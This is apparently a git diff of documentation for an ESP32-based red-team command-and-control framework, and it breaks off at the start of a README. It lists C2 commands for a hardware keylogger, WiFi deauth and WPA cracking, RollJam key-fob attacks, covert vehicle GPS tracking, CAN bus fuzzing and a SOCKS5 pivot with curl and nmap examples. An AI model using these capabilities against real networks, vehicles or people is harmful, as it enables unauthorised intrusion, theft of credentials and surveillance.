Local offline storage for dead-drop operations, large data dumps, and logging.
|
||||
|
||||
**Commands**:
|
||||
- `sd_init` — Mount SD card
|
||||
- `sd_write <filename> <data>` — Write file
|
||||
- `sd_read <filename>` — Read and stream to C2
|
||||
- `sd_list` — List files
|
||||
- `sd_log_start` — Log all C2 traffic to SD
|
||||
- `sd_space` — Free/total space
|
||||
|
||||
**Use cases**: Offline data collection, dead-drop exfiltration, large firmware dumps.
|
||||
|
||||
---
|
||||
|
||||
## Sensors & Environment
|
||||
|
||||
### mod_gps — GPS/GNSS Tracking
|
||||
|
||||
**Hardware**: NEO-6M/NEO-7M via UART | **Cost**: ~5 EUR | **Complexity**: 2/5
|
||||
|
||||
GPS positioning, geofencing, and location-stamped events.
|
||||
|
||||
**Commands**:
|
||||
- `gps_start` — Begin GPS acquisition
|
||||
- `gps_position` — Current lat/lon/alt/speed
|
||||
- `gps_track [interval]` — Stream position to C2
|
||||
- `gps_geofence <lat> <lon> <radius_m> <action>` — Trigger action on enter/exit
|
||||
- `gps_log_start` — Log positions to NVS
|
||||
|
||||
**Use cases**: Asset tracking, geofenced triggers, location-aware operations.
|
||||
|
||||
---
|
||||
|
||||
### mod_environment — Environmental Sensors
|
||||
|
||||
**Hardware**: DHT22/BME280/PIR/LDR | **Cost**: ~3 EUR | **Complexity**: 1/5
|
||||
|
||||
Read temperature, humidity, pressure, motion, and light sensors.
|
||||
|
||||
**Commands**:
|
||||
- `env_read` — Read all connected sensors
|
||||
- `env_monitor [interval]` — Stream readings to C2
|
||||
- `env_motion_alert` — Alert C2 on PIR trigger
|
||||
- `env_trigger <sensor> <threshold> <action>` — Conditional triggers
|
||||
|
||||
**Use cases**: Physical security awareness, environmental monitoring, trigger-based activation.
|
||||
|
||||
---
|
||||
|
||||
### mod_power — Power Management
|
||||
|
||||
**Hardware**: TP4056 + LiPo battery | **Cost**: ~5 EUR | **Complexity**: 3/5
|
||||
|
||||
Battery management, intelligent deep sleep, and solar charging support.
|
||||
|
||||
**Commands**:
|
||||
- `power_status` — Battery voltage, charging state, estimated runtime
|
||||
- `power_sleep <seconds>` — Enter deep sleep with wake timer
|
||||
- `power_sleep_until <gpio_trigger>` — Sleep until GPIO event
|
||||
- `power_profile <mode>` — Power profiles (aggressive, balanced, stealth)
|
||||
- `power_schedule <cron> <command>` — Scheduled wake + command execution
|
||||
|
||||
**Use cases**: Long-duration deployment, battery-powered field operations, solar-powered persistent presence.
|
||||
|
||||
---
|
||||
|
||||
### mod_display — OLED/TFT Display
|
||||
|
||||
**Hardware**: SSD1306 OLED (0.96") or ST7735 TFT via SPI/I2C | **Cost**: ~3 EUR | **Complexity**: 2/5
|
||||
|
||||
Local status display for field operations (no C2 needed to see agent state).
|
||||
|
||||
**Commands**:
|
||||
- `display_text <text>` — Show text on screen
|
||||
- `display_status` — Show device info, connection state, active module
|
||||
- `display_qr <data>` — Generate QR code on display
|
||||
- `display_off` — Turn off (stealth)
|
||||
|
||||
**Use cases**: Field status monitoring, debug output, one-way info display.
|
||||
|
||||
---
|
||||
|
||||
## Crypto & WiFi Attacks
|
||||
|
||||
### mod_deauth — 802.11 Deauthentication
|
||||
|
||||
**Hardware**: None (WiFi) | **Cost**: 0 EUR | **Complexity**: 2/5
|
||||
|
||||
Targeted 802.11 deauth for forcing client reconnection (handshake capture setup).
|
||||
|
||||
**Commands**:
|
||||
- `deauth <bssid> <station> [count]` — Targeted deauth
|
||||
- `deauth_all <bssid> [count]` — Broadcast deauth
|
||||
- `deauth_continuous <bssid> [interval]` — Persistent deauth
|
||||
|
||||
**Use cases**: WPA handshake capture setup, client denial, forced AP migration.
|
||||
|
||||
---
|
||||
|
||||
### mod_wpa_crack — WPA Handshake Capture
|
||||
|
||||
**Hardware**: None (WiFi) | **Cost**: 0 EUR | **Complexity**: 4/5
|
||||
|
||||
Capture 4-way handshake and attempt dictionary attack with embedded wordlist.
|
||||
|
||||
**Commands**:
|
||||
- `wpa_capture <bssid> [channel] [timeout]` — Wait for handshake (or deauth to force)
|
||||
- `wpa_crack <bssid> [wordlist]` — Dictionary attack on captured handshake
|
||||
- `wpa_export <bssid>` — Export handshake as pcap/hccapx to C2
|
||||
|
||||
**Use cases**: WiFi security assessment, credential recovery.
|
||||
|
||||
---
|
||||
|
||||
### mod_pmkid — PMKID Attack
|
||||
|
||||
**Hardware**: None (WiFi) | **Cost**: 0 EUR | **Complexity**: 4/5
|
||||
|
||||
Capture PMKID from AP without any connected client. Faster than handshake capture.
|
||||
|
||||
**Commands**:
|
||||
- `pmkid_scan [duration]` — Scan APs and capture PMKIDs
|
||||
- `pmkid_target <bssid>` — Target specific AP
|
||||
- `pmkid_export` — Export PMKIDs for offline cracking
|
||||
|
||||
**Use cases**: WiFi testing without connected clients, faster WPA cracking.
|
||||
|
||||
---
|
||||
|
||||
### mod_rfcrack — Rolling Code Analysis
|
||||
|
||||
**Hardware**: CC1101 via SPI | **Cost**: ~3 EUR | **Complexity**: 5/5
|
||||
|
||||
Analyze and attack rolling code systems (garages, car key fobs, gates).
|
||||
|
||||
**Commands**:
|
||||
- `rfcrack_listen <freq>` — Capture rolling code transmissions
|
||||
- `rfcrack_analyze` — Identify protocol (KeeLoq, etc.)
|
||||
- `rfcrack_rolljam <freq>` — RollJam attack (jam + capture + replay)
|
||||
- `rfcrack_desync <freq>` — De-synchronization attack
|
||||
|
||||
**Use cases**: Physical security research, rolling code protocol analysis.
|
||||
|
||||
---
|
||||
|
||||
## Automotive
|
||||
|
||||
### mod_lin_bus — LIN Bus
|
||||
|
||||
**Hardware**: MCP2004A LIN transceiver | **Cost**: ~3 EUR | **Complexity**: 3/5
|
||||
|
||||
LIN bus (Local Interconnect Network) — sub-bus used for windows, seats, mirrors, lights.
|
||||
|
||||
**Commands**:
|
||||
- `lin_start [baud]` — Init LIN transceiver (default 19200)
|
||||
- `lin_sniff [duration]` — Capture LIN frames
|
||||
- `lin_send <id> <data_hex>` — Send LIN frame
|
||||
- `lin_master_start` — Become LIN master (send schedule table)
|
||||
- `lin_enum` — Enumerate slave nodes
|
||||
|
||||
**Use cases**: Automotive body control testing, seat/window/mirror manipulation.
|
||||
|
||||
---
|
||||
|
||||
### mod_obd_tracker — OBD-II GPS Tracker
|
||||
|
||||
**Hardware**: MCP2515 + NEO-6M GPS | **Cost**: ~8 EUR | **Complexity**: 3/5
|
||||
|
||||
Autonomous vehicle tracker: logs GPS position + OBD-II data, reports to C2 when connectivity available.
|
||||
|
||||
**Commands**:
|
||||
- `tracker_start [interval]` — Begin tracking (OBD + GPS)
|
||||
- `tracker_stop` — Stop and upload buffered data
|
||||
- `tracker_status` — Current position + vehicle stats
|
||||
- `tracker_geofence <lat> <lon> <radius>` — Alert on geofence breach
|
||||
- `tracker_trips` — Summarize recorded trips
|
||||
|
||||
**Use cases**: Vehicle tracking, fleet monitoring, trip analysis.
|
||||
|
||||
---
|
||||
|
||||
### mod_flexray — FlexRay Bus
|
||||
|
||||
**Hardware**: FlexRay transceiver (TJA1080) | **Cost**: ~15 EUR | **Complexity**: 5/5
|
||||
|
||||
FlexRay monitoring for premium vehicles (BMW, Mercedes, Audi). Deterministic, time-triggered protocol.
|
||||
|
||||
**Commands**:
|
||||
- `flexray_listen <channel>` — Monitor FlexRay channel (A or B)
|
||||
- `flexray_decode` — Decode known frame IDs
|
||||
- `flexray_status` — Bus state, cycle time, slot info
|
||||
|
||||
**Use cases**: Premium vehicle bus analysis, FlexRay protocol research.
|
||||
|
||||
---
|
||||
|
||||
## Physical Security
|
||||
|
||||
### mod_keylogger — PS/2 Keyboard Logger
|
||||
|
||||
**Hardware**: PS/2 connector + GPIO wires | **Cost**: ~2 EUR | **Complexity**: 2/5
|
||||
|
||||
Hardware keylogger for PS/2 keyboards. Inline transparent interception.
|
||||
|
||||
**Commands**:
|
||||
- `keylog_start` — Begin capturing keystrokes
|
||||
- `keylog_stop` — Stop and send buffer to C2
|
||||
- `keylog_dump` — Send current buffer
|
||||
- `keylog_live` — Stream keystrokes in real-time to C2
|
||||
|
||||
**Use cases**: Physical access keystroke capture.
|
||||
|
||||
---
|
||||
|
||||
### mod_relay — Relay Control
|
||||
|
||||
**Hardware**: Relay module (1/2/4 channel) | **Cost**: ~2 EUR | **Complexity**: 1/5
|
||||
|
||||
GPIO relay control for physical actuators (doors, power, devices).
|
||||
|
||||
**Commands**:
|
||||
- `relay_on <channel>` — Activate relay
|
||||
- `relay_off <channel>` — Deactivate relay
|
||||
- `relay_pulse <channel> <duration_ms>` — Momentary activation
|
||||
- `relay_schedule <channel> <cron>` — Scheduled activation
|
||||
|
||||
**Use cases**: Physical access control, remote power switching, automated triggers.
|
||||
|
||||
---
|
||||
|
||||
## Priority Matrix
|
||||
|
||||
Modules ranked by impact/effort ratio for implementation priority:
|
||||
|
||||
| Priority | Module | Why |
|
||||
|----------|--------|-----|
|
||||
| **High** | mod_ble | Built-in hardware, zero cost, huge IoT attack surface |
|
||||
| **High** | mod_deauth | Simple, essential for WiFi assessment workflows |
|
||||
| **High** | mod_badusb | ESP32-S2/S3 native USB, high impact physical access |
|
||||
| **High** | mod_uart_bridge | Zero cost, essential for hardware hacking |
|
||||
| **High** | mod_dns | WiFi only, enables MitM and exfiltration |
|
||||
| **Medium** | mod_nfc | Cheap hardware, wide applicability (access cards) |
|
||||
| **Medium** | mod_subghz | CC1101 is cheap, covers huge attack surface |
|
||||
| **Medium** | mod_mqtt | IoT everywhere, zero additional hardware |
|
||||
| **Medium** | mod_socks | Pivoting capability, WiFi only |
|
||||
| **Medium** | mod_gps | Cheap module, enables location-aware operations |
|
||||
| **Medium** | mod_modbus | SCADA is a growing target, dual TCP/RTU |
|
||||
| **Medium** | mod_sdcard | Simple, enables offline operations |
|
||||
| **Low** | mod_lora | Good range but low throughput |
|
||||
| **Low** | mod_glitch | High complexity, niche use case |
|
||||
| **Low** | mod_flexray | Expensive hardware, niche vehicles |
|
||||
| **Low** | mod_usb_mitm | Requires ESP32-S3 dual USB, very complex |
|
||||
150
QUICKSTART.md
Normal file
150
QUICKSTART.md
Normal file
@ -0,0 +1,150 @@
|
||||
# Espilon — Quick Start Guide
|
||||
|
||||
Get a working C2 server in **under 5 minutes**.
|
||||
|
||||
> For full documentation see [README.md](README.md) and [tools/C3PO/README.md](tools/C3PO/README.md).
|
||||
|
||||
---
|
||||
|
||||
## Option A: Without Docker (recommended for development)
|
||||
|
||||
### 1. Clone and install
|
||||
|
||||
```bash
|
||||
git clone https://github.com/Espilon-Net/epsilon-source.git
|
||||
cd epsilon-source/tools/C3PO
|
||||
|
||||
python3 -m venv .venv
|
||||
source .venv/bin/activate
|
||||
pip install -r requirements.txt
|
||||
```
|
||||
|
||||
### 2. Configure
|
||||
|
||||
```bash
|
||||
cp .env.example .env
|
||||
# Edit .env to change default passwords (optional for local testing)
|
||||
```
|
||||
|
||||
### 3. Start the C2 server
|
||||
|
||||
```bash
|
||||
python c3po.py
|
||||
```
|
||||
|
||||
The TUI (terminal interface) starts automatically. You'll see a multi-pane interface with device list and logs.
|
||||
|
||||
### 4. Deploy to ESP32
|
||||
|
||||
```bash
|
||||
cd tools
|
||||
python deploy.py -p /dev/ttyUSB0 -d my-device-01 \
|
||||
--wifi "YourSSID" "YourPassword" \
|
||||
--srv 192.168.1.100
|
||||
```
|
||||
|
||||
This will:
|
||||
- Generate a unique crypto key
|
||||
- Build the firmware
|
||||
- Flash the ESP32
|
||||
- Register the key in C3PO's keystore
|
||||
|
||||
The device connects automatically and appears in the TUI.
|
||||
|
||||
### 5. Send commands
|
||||
|
||||
In the C3PO TUI command bar (bottom), type:
|
||||
|
||||
```
|
||||
send <device_id> system_info
|
||||
send <device_id> ping 8.8.8.8
|
||||
send <device_id> arp_scan
|
||||
send <device_id> system_mem
|
||||
```
|
||||
|
||||
Replace `<device_id>` with the ID shown in the TUI.
|
||||
|
||||
---
|
||||
|
||||
## Option B: With Docker
|
||||
|
||||
### 1. Start C3PO
|
||||
|
||||
```bash
|
||||
cd tools/C3PO
|
||||
cp .env.example .env
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
### 2. Open the web dashboard
|
||||
|
||||
Open http://localhost:8000 in your browser. Login: `admin` / `admin` (change in `.env`).
|
||||
|
||||
### 3. Deploy to ESP32
|
||||
|
||||
```bash
|
||||
cd tools
|
||||
python deploy.py -p /dev/ttyUSB0 -d my-device-01 \
|
||||
--wifi "YourSSID" "YourPassword" \
|
||||
--srv <your-machine-ip>
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Prerequisites for ESP32 hardware
|
||||
|
||||
- ESP-IDF v5.3.2 installed ([install guide](https://docs.espressif.com/projects/esp-idf/en/v5.3.2/esp32/get-started/))
|
||||
- ESP32 connected via USB
|
||||
- Python 3.8+
|
||||
|
||||
---
|
||||
|
||||
## Web dashboard
|
||||
|
||||
Start the web server from the TUI:
|
||||
|
||||
```
|
||||
web start
|
||||
```
|
||||
|
||||
Then open http://localhost:8000. Pages available:
|
||||
|
||||
| Page | URL | Description |
|
||||
|------|-----|-------------|
|
||||
| Dashboard | `/dashboard` | Device list and status |
|
||||
| Tunnel | `/tunnel` | SOCKS5 tunnel proxy management |
|
||||
| Cameras | `/cameras` | Live camera feeds |
|
||||
| MLAT | `/mlat` | Multilateration map |
|
||||
| OTA | `/ota` | Firmware build & deploy |
|
||||
|
||||
---
|
||||
|
||||
## Common commands reference
|
||||
|
||||
```
|
||||
help Show all commands
|
||||
list List connected devices
|
||||
send <id> system_info Device info (chip, modules, memory)
|
||||
send <id> system_mem Memory usage
|
||||
send <id> ping <host> ICMP ping
|
||||
send <id> arp_scan Scan local network
|
||||
send <id> fakeap_start <ssid> Start a fake AP (if module enabled)
|
||||
send <id> tun_start <ip> 2627 Start SOCKS5 tunnel proxy to C3PO
|
||||
send <id> tun_stop Stop tunnel proxy
|
||||
send all system_info Broadcast to all devices
|
||||
group add scanners <id1> <id2> Create device group
|
||||
send group scanners arp_scan Send to group
|
||||
web start Start web dashboard
|
||||
camera start Start camera UDP receiver
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
| Problem | Solution |
|
||||
|---------|----------|
|
||||
| `ModuleNotFoundError: textual` | `pip install -r requirements.txt` |
|
||||
| Device connects but commands fail | Check `keys.json` — the device key must match |
|
||||
| Web dashboard not loading | Run `web start` in TUI first, then open http://localhost:8000 |
|
||||
| `Decrypt/auth failed` | Key mismatch — re-provision the device with `deploy.py` |
|
||||
219
README.fr.md
219
README.fr.md
@ -27,8 +27,13 @@
|
||||
- [Network Module](#network-module)
|
||||
- [FakeAP Module](#fakeap-module)
|
||||
- [Recon Module](#recon-module)
|
||||
- [Red Team Module](#red-team-module)
|
||||
- [Honeypot Module](#honeypot-module)
|
||||
- [Tunnel Module](#tunnel-module-proxy-socks5)
|
||||
- [CAN Bus Module](#can-bus-module-mcp2515)
|
||||
- [OTA Module](#ota-module)
|
||||
- [Outils](#outils)
|
||||
- [Multi-Device Flasher](#multi-device-flasher)
|
||||
- [Deploy Tool](#deploy-tool)
|
||||
- [C2 Server (C3PO)](#c2-server-c3po)
|
||||
- [Sécurité](#sécurité)
|
||||
- [Chiffrement](#chiffrement)
|
||||
@ -57,7 +62,7 @@ La documentation MkDocs inclut :
|
||||
- Traduction EN/FR
|
||||
- Configuration WiFi et GPRS
|
||||
- Référence des modules et commandes
|
||||
- Guide du flasher multi-device
|
||||
- Guide du deploy tool
|
||||
- Spécification du protocole C2
|
||||
- Exemples et cas d'usage
|
||||
```
|
||||
@ -138,12 +143,13 @@ Espilon transforme des microcontrôleurs ESP32 abordables à **~5€** en agents
|
||||
│ ESP32 Agent │
|
||||
│ ┌───────────┐ ┌──────────┐ ┌─────────────────┐ │
|
||||
│ │ WiFi/ │→ │ ChaCha20 │→ │ C2 Protocol │ │
|
||||
│ │ GPRS │← │ Crypto │← │ (nanoPB/TCP) │ │
|
||||
│ │ GPRS │← │ Poly1305 │← │ (nanoPB/TCP) │ │
|
||||
│ └───────────┘ └──────────┘ └─────────────────┘ │
|
||||
│ ↓ ↓ ↓ │
|
||||
│ ┌───────────────────────────────────────────────┐ │
|
||||
│ │ Module System (FreeRTOS) │ │
|
||||
│ │ [Network] [FakeAP] [Recon] [Custom...] │ │
|
||||
│ │ [Network] [Tunnel] [FakeAP] [Recon] │ │
|
||||
│ │ [RedTeam] [Honeypot] [CAN Bus] [OTA] │ │
|
||||
│ └───────────────────────────────────────────────┘ │
|
||||
└─────────────────────────────────────────────────────┘
|
||||
↕ Encrypted TCP
|
||||
@ -151,23 +157,22 @@ Espilon transforme des microcontrôleurs ESP32 abordables à **~5€** en agents
|
||||
│ C2 Server (C3PO) │
|
||||
│ - Device Registry │
|
||||
│ - Group Management │
|
||||
│ - CLI Interface │
|
||||
│ - TUI + Web UI │
|
||||
└──────────────────────┘
|
||||
```
|
||||
|
||||
### Composants Clés
|
||||
|
||||
- **Core** : Connexion réseau, crypto ChaCha20, protocole nanoPB
|
||||
- **Core** : Connexion réseau, ChaCha20-Poly1305 AEAD + dérivation HKDF, protocole nanoPB
|
||||
- **Modules** : Système extensible (Network, FakeAP, Recon, etc.)
|
||||
- **C2 (C3PO)** : Serveur Python asyncio pour contrôle multi-agents
|
||||
- **C3PO**: Ancien c2 (serveur web - Trilateration + Front affichage caméra)
|
||||
- **Flasher** : Outil de flash multi-device automatisé
|
||||
- **C2 (C3PO)** : Serveur Python asyncio + dashboard web pour contrôle multi-agents
|
||||
- **Deploy** : Pipeline unifié build, provision & flash (`tools/deploy.py`)
|
||||
|
||||
---
|
||||
|
||||
## Modules Disponibles
|
||||
|
||||
> **Note importante** : Les modules sont **mutuellement exclusifs**. Vous devez choisir **un seul module** lors de la configuration via menuconfig.
|
||||
> Les modules s'activent indépendamment via `idf.py menuconfig` → Espilon Bot Configuration → Modules. Plusieurs modules peuvent être actifs simultanément (selon les contraintes flash/RAM).
|
||||
|
||||
### System Module (Built-in, toujours actif)
|
||||
|
||||
@ -179,13 +184,14 @@ Commandes système de base :
|
||||
|
||||
### Network Module
|
||||
|
||||
Module pour reconnaissance et tests réseau :
|
||||
Module pour reconnaissance, tests réseau et proxy tunnel SOCKS5 :
|
||||
|
||||
- `ping <host> [args...]` : Test de connectivité ICMP
|
||||
- `arp_scan` : Découverte des hôtes sur le réseau local via ARP
|
||||
- `proxy_start <ip> <port>` : Démarrer un proxy TCP
|
||||
- `proxy_stop` : Arrêter le proxy en cours
|
||||
- `dos_tcp <ip> <port> <count>` : Test de charge TCP (à usage autorisé uniquement)
|
||||
- `tun_start <ip> <port>` : Démarrer le proxy tunnel SOCKS5 vers C3PO (nécessite `CONFIG_MODULE_TUNNEL`)
|
||||
- `tun_stop` : Arrêter le tunnel
|
||||
- `tun_status` : Statut du tunnel (channels, bytes, mode chiffrement)
|
||||
|
||||
### FakeAP Module
|
||||
|
||||
@ -214,90 +220,120 @@ Module de reconnaissance et collecte de données. Deux modes disponibles :
|
||||
- `trilat start <mac> <url> <bearer>` : Démarrer la trilatération BLE avec POST HTTP
|
||||
- `trilat stop` : Arrêter la trilatération
|
||||
|
||||
### Red Team Module
|
||||
|
||||
Hunt WiFi autonome, attaques de credentials, et mesh relay ESP-NOW :
|
||||
|
||||
- `rt_hunt` : Lancer le cycle scan + attaque WiFi autonome
|
||||
- `rt_stop` : Arrêter le hunt
|
||||
- `rt_status` : Cibles en cours, progression, credentials capturés
|
||||
- `rt_scan` : Scan passif des APs (mode promiscuous, sans association)
|
||||
- `rt_net_add <ssid> <pass>` / `rt_net_list` : Gérer les réseaux connus
|
||||
- `rt_mesh` : Activer le relay ESP-NOW mesh (multi-hop vers C2 hors portée)
|
||||
- Stealth : randomisation MAC, scan passif, contrôle puissance TX
|
||||
|
||||
### Honeypot Module
|
||||
|
||||
Faux services réseau qui loggent les interactions des attaquants :
|
||||
|
||||
- `hp_start` / `hp_stop` : Démarrer/arrêter tous les services
|
||||
- Services émulés : SSH, Telnet, HTTP, FTP (ports configurables)
|
||||
- `hp_wifi_mon_start` / `hp_wifi_mon_stop` : Monitor WiFi (probe, deauth, EAPOL, beacon flood)
|
||||
- `hp_net_mon_start` / `hp_net_mon_stop` : Détection anomalies réseau (port scan, SYN flood)
|
||||
- Tous les events remontés au C2 au format `EVT|` (dashboard honeypot C3PO)
|
||||
|
||||
### Tunnel Module (Proxy SOCKS5)
|
||||
|
||||
Proxy tunnel SOCKS5 multiplexé à travers l'ESP32. Utilise n'importe quel outil réseau (`curl`, `nmap`, `proxychains`) pour pivoter à travers le bot sur le réseau cible.
|
||||
|
||||
- Le SOCKS5 tourne côté C3PO (port 1080) — l'ESP32 ne gère que des frames binaires
|
||||
- Jusqu'à 8 connexions TCP simultanées (configurable via Kconfig)
|
||||
- Résolution DNS côté ESP32 (voit les DNS internes du réseau cible)
|
||||
- Reconnexion automatique avec backoff exponentiel
|
||||
- Chiffrement AEAD ChaCha20-Poly1305 par frame optionnel
|
||||
|
||||
**Ports C3PO** : 2626 (commandes C2) + 2627 (données tunnel) + 1080 (SOCKS5, localhost uniquement)
|
||||
|
||||
```bash
|
||||
# Démarrer le tunnel depuis le C2
|
||||
send <device_id> tun_start <c3po_ip> 2627
|
||||
|
||||
# Utiliser n'importe quel outil à travers le proxy
|
||||
curl --socks5-hostname 127.0.0.1:1080 http://cible-interne.local
|
||||
nmap -sT -Pn --proxies socks4://127.0.0.1:1080 192.168.x.0/24
|
||||
```
|
||||
|
||||
Voir [TUNNEL.md](TUNNEL.md) pour la spécification complète du protocole et le guide de test.
|
||||
|
||||
### CAN Bus Module (MCP2515)
|
||||
|
||||
CAN bus automobile via contrôleur SPI externe MCP2515 :
|
||||
|
||||
- `can_start [bitrate] [mode]` : Init bus (normal/listen/loopback)
|
||||
- `can_sniff [duration]` / `can_record` / `can_replay` : Capture et replay
|
||||
- `can_send <id> <data>` : Injection de trame
|
||||
- UDS : `can_scan_ecu`, `can_uds_read`, `can_uds_dump`, `can_uds_auth`
|
||||
- OBD-II : `can_obd <pid>`, `can_obd_vin`, `can_obd_dtc`, `can_obd_monitor`
|
||||
- Fuzzing : `can_fuzz_id`, `can_fuzz_data`, `can_fuzz_random`
|
||||
|
||||
### OTA Module
|
||||
|
||||
Mises à jour firmware over-the-air depuis le serveur C2 :
|
||||
|
||||
- Téléchargement firmware HTTPS sécurisé (fallback HTTP optionnel)
|
||||
- Schéma dual partition (A/B) pour rollback sécurisé
|
||||
- Reporting de progression vers le C2
|
||||
|
||||
---
|
||||
|
||||
**Configuration** : `idf.py menuconfig` → Espilon Bot Configuration → Modules
|
||||
|
||||
Choisissez **un seul module** :
|
||||
|
||||
- `CONFIG_MODULE_NETWORK` : Active le Network Module
|
||||
- `CONFIG_MODULE_FAKEAP` : Active le FakeAP Module
|
||||
- `CONFIG_MODULE_RECON` : Active le Recon Module
|
||||
- Puis choisir : `Camera` ou `BLE Trilateration`
|
||||
- `CONFIG_MODULE_NETWORK` : Network Module
|
||||
- `CONFIG_MODULE_FAKEAP` : FakeAP Module
|
||||
- `CONFIG_MODULE_RECON` : Recon Module (Camera ou BLE Trilateration)
|
||||
- `CONFIG_MODULE_REDTEAM` : Red Team Module
|
||||
- `CONFIG_MODULE_HONEYPOT` : Honeypot Module
|
||||
- `CONFIG_MODULE_TUNNEL` : Proxy Tunnel SOCKS5 (nécessite `CONFIG_MODULE_NETWORK`)
|
||||
- `CONFIG_MODULE_CANBUS` : CAN Bus Module (nécessite hardware MCP2515)
|
||||
- `CONFIG_ESPILON_OTA_ENABLED` : OTA Updates
|
||||
|
||||
---
|
||||
|
||||
## Outils
|
||||
|
||||
### Multi-Device Flasher
|
||||
### Deploy Tool
|
||||
|
||||
Flasher automatisé pour configurer plusieurs ESP32 :
|
||||
Pipeline unifié pour **build**, **provisionner** (clés crypto), et **flasher** les ESP32 :
|
||||
|
||||
```bash
|
||||
cd tools/flasher
|
||||
python3 flash.py --config devices.json
|
||||
cd tools
|
||||
|
||||
# Assistant interactif
|
||||
python3 deploy.py
|
||||
|
||||
# Un seul device
|
||||
python3 deploy.py -p /dev/ttyUSB0 -d mon-device \
|
||||
--wifi MonSSID MonMotDePasse --srv 192.168.1.100
|
||||
|
||||
# Deploy batch
|
||||
python3 deploy.py --config deploy.example.json
|
||||
```
|
||||
|
||||
**devices.json** :
|
||||
Chaque deploy génère une **master key 256-bit** par device, l'écrit en factory NVS, et l'enregistre dans le keystore C2 (`keys.json`).
|
||||
|
||||
```json
|
||||
{
|
||||
"project": "/home/user/epsilon/espilon_bot",
|
||||
"devices": [
|
||||
## WiFi AGENT ##
|
||||
{
|
||||
"device_id": "ce4f626b",
|
||||
"port": "/dev/ttyUSB0",
|
||||
"srv_ip": "192.168.1.13",
|
||||
"srv_port": 2626,
|
||||
"network_mode": "wifi",
|
||||
"wifi_ssid": "MyWiFi",
|
||||
"wifi_pass": "MyPassword123",
|
||||
"hostname": "pixel-8-pro",
|
||||
"module_network": true,
|
||||
"module_recon": false,
|
||||
"module_fakeap": false,
|
||||
"recon_camera": false,
|
||||
"recon_ble_trilat": false,
|
||||
"crypto_key": "testde32chars00000000000000000000",
|
||||
"crypto_nonce": "noncenonceno"
|
||||
},
|
||||
|
||||
## GPRS AGENT ##
|
||||
{
|
||||
"device_id": "a91dd021",
|
||||
"port": "/dev/ttyUSB1",
|
||||
"srv_ip": "203.0.113.10",
|
||||
"srv_port": 2626,
|
||||
"network_mode": "gprs",
|
||||
"gprs_apn": "sl2sfr",
|
||||
"hostname": "galaxy-s24-ultra",
|
||||
"module_network": true,
|
||||
"module_recon": false,
|
||||
"module_fakeap": false
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
Voir [tools/flasher/README.md](tools/flasher/README.md) pour la documentation complète.
|
||||
Voir [tools/README.md](tools/README.md) pour la documentation complète (modes, batch config, OTA vs non-OTA, flash map).
|
||||
|
||||
### C2 Server (C3PO)
|
||||
|
||||
Serveur de Command & Control :
|
||||
|
||||
```bash
|
||||
cd tools/c2
|
||||
cd tools/C3PO
|
||||
pip3 install -r requirements.txt
|
||||
python3 c3po.py --port 2626
|
||||
python3 c3po.py
|
||||
```
|
||||
|
||||
**Commandes** :
|
||||
|
||||
- `list` : Lister les agents connectés
|
||||
- `select <id>` : Sélectionner un agent
|
||||
- `cmd <command>` : Exécuter une commande
|
||||
- `group` : Gérer les groupes d'agents
|
||||
Documentation complète et liste des commandes : voir [tools/C3PO/README.md](tools/C3PO/README.md).
|
||||
|
||||
---
|
||||
|
||||
@ -305,17 +341,13 @@ python3 c3po.py --port 2626
|
||||
|
||||
### Chiffrement
|
||||
|
||||
- **ChaCha20** pour les communications C2
|
||||
- **Clés configurables** via menuconfig
|
||||
- **ChaCha20-Poly1305 AEAD** pour le chiffrement authentifié de toutes les communications C2
|
||||
- **HKDF-SHA256** dérivation de clé (master key per-device + salt device ID)
|
||||
- **Nonce aléatoire de 12 bytes** par message (RNG hardware ESP32)
|
||||
- **Master keys per-device** stockées en partition factory NVS (read-only)
|
||||
- **Protocol Buffers (nanoPB)** pour la sérialisation
|
||||
|
||||
⚠️ **CHANGEZ LES CLÉS PAR DÉFAUT** pour un usage en production :
|
||||
|
||||
```bash
|
||||
# Générer des clés aléatoires
|
||||
openssl rand -hex 32 # ChaCha20 key (32 bytes)
|
||||
openssl rand -hex 12 # Nonce (12 bytes)
|
||||
```
|
||||
Provisionner chaque device avec une master key unique via `tools/deploy.py`. Les clés ne sont jamais hardcodées dans le firmware.
|
||||
|
||||
### Usage Responsable
|
||||
|
||||
@ -354,21 +386,26 @@ Espilon doit être utilisé uniquement pour :
|
||||
|
||||
## Roadmap
|
||||
|
||||
### V2.0 (En cours)
|
||||
### V2.0 (Complet)
|
||||
|
||||
- [ ] Mesh networking (BLE/WiFi)
|
||||
- [ ] Implémenter Module reccoon dans C3PO
|
||||
- [ ] Améliorer la Documentations [here](https://docs.espilon.net)
|
||||
- [ ] OTA updates
|
||||
- [ ] Multilatération collaborative
|
||||
- [ ] Optimisation mémoire
|
||||
- [x] Upgrade crypto ChaCha20-Poly1305 AEAD + HKDF
|
||||
- [x] Provisioning per-device factory NVS
|
||||
- [x] Réécriture C3PO avec crypto per-device
|
||||
- [x] OTA firmware updates
|
||||
- [x] Module Red Team (hunt WiFi autonome)
|
||||
- [x] Module Honeypot (faux services + monitoring)
|
||||
- [x] Module CAN Bus (MCP2515 — sniff, inject, UDS, OBD-II, fuzzing)
|
||||
- [x] Web dashboard avec gestion devices, caméra, MLAT, OTA, CAN
|
||||
- [x] Proxy tunnel SOCKS5 (pivot multiplexé à travers l'ESP32)
|
||||
|
||||
### Future
|
||||
|
||||
- [ ] Module BLE (scan, GATT enum, beacon spoofing)
|
||||
- [ ] Module Sub-GHz (CC1101 — 433/868/915 MHz)
|
||||
- [ ] Module BadUSB (ESP32-S2/S3 HID injection)
|
||||
- [ ] PCB custom Espilon
|
||||
- [ ] Support ESP32-S3/C3
|
||||
- [ ] Module SDK pour extensions tierces
|
||||
- [ ] Web UI pour C2
|
||||
|
||||
---
|
||||
|
||||
@ -412,7 +449,7 @@ Contributions bienvenues ! Voir [CONTRIBUTING.md](CONTRIBUTING.md).
|
||||
- **[Documentation complète](https://docs.espilon.net)**
|
||||
- **[ESP-IDF Documentation](https://docs.espressif.com/projects/esp-idf/)**
|
||||
- **[LilyGO T-Call](https://github.com/Xinyuan-LilyGO/LilyGO-T-Call-SIM800)**
|
||||
- **English README** : [README.en.md](README.en.md)
|
||||
- **English README** : [README.md](README.md)
|
||||
|
||||
---
|
||||
|
||||
|
||||
209
README.md
209
README.md
@ -9,6 +9,8 @@
|
||||
[](https://www.espressif.com/en/products/socs/esp32)
|
||||
|
||||
